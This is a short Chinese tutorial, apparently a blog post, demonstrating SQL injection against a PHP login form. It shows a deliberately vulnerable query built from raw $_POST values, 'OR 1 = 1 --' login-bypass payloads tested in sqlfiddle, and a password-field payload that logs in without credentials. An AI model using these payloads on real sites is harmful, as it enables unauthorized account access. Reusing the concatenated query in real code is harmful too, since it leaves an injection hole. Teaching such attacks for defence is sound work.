说明
一个php登录表单方式:
<form action=‘index.php’ method="post">
<input type="email" name="email" required="required"/>
<input type="password" name="password"/>
<input type="checkbox" name="remember_me" value="Remember me"/>
<input type="submit" value="Submit"/>
</form>
登录的sql语句可能是这样子:
SELECT * FROM users WHERE email = $_POST['email'] AND password = md5($_POST['password'])
sqlfiddle工具
现在用一个在线工具直接模拟sql注入,打开http://sqlfiddle.com/
- 在左边窗口写创建数据库和插入数据语句
CREATE TABLE `users` ( `id` INT NOT NULL AUTO_INCREMENT, `email` VARCHAR(45) NULL, `password` VARCHAR(45) NULL, PRIMARY KEY (`id`));
insert into users (email,password) values ('[m@m.com](mailto:m@m.com)',md5('abc'));
- 右边输入
select * from users;
点击运行出现结果:
![](https://img.haomeiwen.com/i2231755/90286825c9143bdd.png)
- 截图展示具体操作步骤
![](https://img.haomeiwen.com/i2231755/e9a55f13a127b931.png)
- 现在右侧输入下面的语句也能查询到结果:
SELECT * FROM users WHERE email = '[xxx@xxx.xxx](mailto:xxx@xxx.xxx)' OR 1 = 1 LIMIT 1 -- ' ] AND password = md5('1234');
分析语句:
- xxx@xxx.xxx 正常输入
- OR 1 = 1 LIMIT 1 一条记录永远为真
- -- ' AND.... SQL注释,忽略了密码部分
![](https://img.haomeiwen.com/i2231755/954f1aa9e1f6d78d.png)
实例操作
-
用户名输入: xxx@xxx.xxx
-
密码输入: xxx') OR 1 = 1 -- ]
-
点击登录就可以登录成功
Paste_Image.png
-
登录成功后的页面
Paste_Image.png
-
分析
当输入上面的语句时,就生成了这样的语句:SELECT * FROM users WHERE email = '[xxx@xxx.xxx](mailto:xxx@xxx.xxx)' AND password = md5('xxx') OR 1 = 1 -- ]');
生成过程是这样子:
![](https://img.haomeiwen.com/i2231755/cf624650ddd4fcb8.png)
其他
- 增删改查都可以用注入的方式
- 借助自动化工具
网友评论